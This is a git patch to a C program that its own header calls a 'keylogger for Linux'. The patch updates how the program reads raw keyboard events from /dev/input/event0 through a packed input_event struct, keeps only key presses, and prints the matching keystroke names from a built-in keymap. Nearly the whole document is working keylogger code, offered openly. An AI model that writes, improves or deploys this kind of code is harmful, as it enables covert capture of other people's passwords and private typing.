From 8f3f8f1eeef9421796a8192bfedec0738a41a9a3 Mon Sep 17 00:00:00 2001 From: Tomas Mudrunka Date: Mon, 22 Feb 2021 10:36:51 +0100 Subject: [PATCH] Fixed klog --- c/keylogger/klog.c | 36 +++++++++++++++++++++++------------- 1 file changed, 23 insertions(+), 13 deletions(-) diff --git a/c/keylogger/klog.c b/c/keylogger/klog.c index 150dff1..d10afcb 100755 --- a/c/keylogger/klog.c +++ b/c/keylogger/klog.c @@ -1,8 +1,8 @@ -/* event0log.c v0.6 - * <~~Harvie 2oo8 +/* event0log.c v0.7 + * <~~Harvie 2oo8-2o21 * THX2: Dayvee (Idea), joe@aol.com (Reversing), * -=Punka][Tux=- (BugReport), - * Warriant's code (Inspiration), Linus (God Blessed Linux) + * Warriant's code (Inspiration), Linus (Linux) * * Converts /dev/input/event0 format to ASCII. (If you have nore keyboards,) * In other words: this is keylogger for Linux. @@ -29,9 +29,18 @@ #include #include +#include +#include #include #define DEFAULTINPUT "/dev/input/event0" +typedef struct __attribute__((__packed__)) input_event_s { + struct timeval time; + unsigned short type; + unsigned short code; + unsigned int value; +} input_event_t; + #define MAXSTROKE 127 //Set higest keystroke code in DB (lower will not be converted) char *strokes[] = { //KeyStroke DB for english QUERTZ keyboard: "<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]", @@ -91,18 +100,19 @@ int main(int argc, char *argv[]) { printf("Failed to open file!\n\n"); return(1); } - - printf("Keystroke DB size: %d B (0-%d)\n\n", sizeof(strokes), MAXSTROKE); + setbuf(stdout, NULL); + + printf("Keystroke DB size: %d B (0-%d)\n\n", sizeof(strokes), MAXSTROKE); - unsigned char keystroke[17]; + input_event_t input_event; while(1) { - read(0, keystroke, 16); - if((int)keystroke[12] > 0 && (int)keystroke[12] < 6) { - if(keystroke[10] <= MAXSTROKE) { - printf("%s", strokes[keystroke[10]]); - } else { - printf("<%d>", keystroke[10]); - } + read(0, &input_event, sizeof(input_event_t)); + if(input_event.type != 1 || input_event.value != 1) continue; + //printf("\nTYPE:%d\tCODE:%d\tVAL:%d\t", input_event.type, input_event.code, input_event.value); + if(input_event.code <= MAXSTROKE) { + printf("%s", strokes[input_event.code]); + } else { + printf("<%d>", input_event.code); } } -- 2.30.2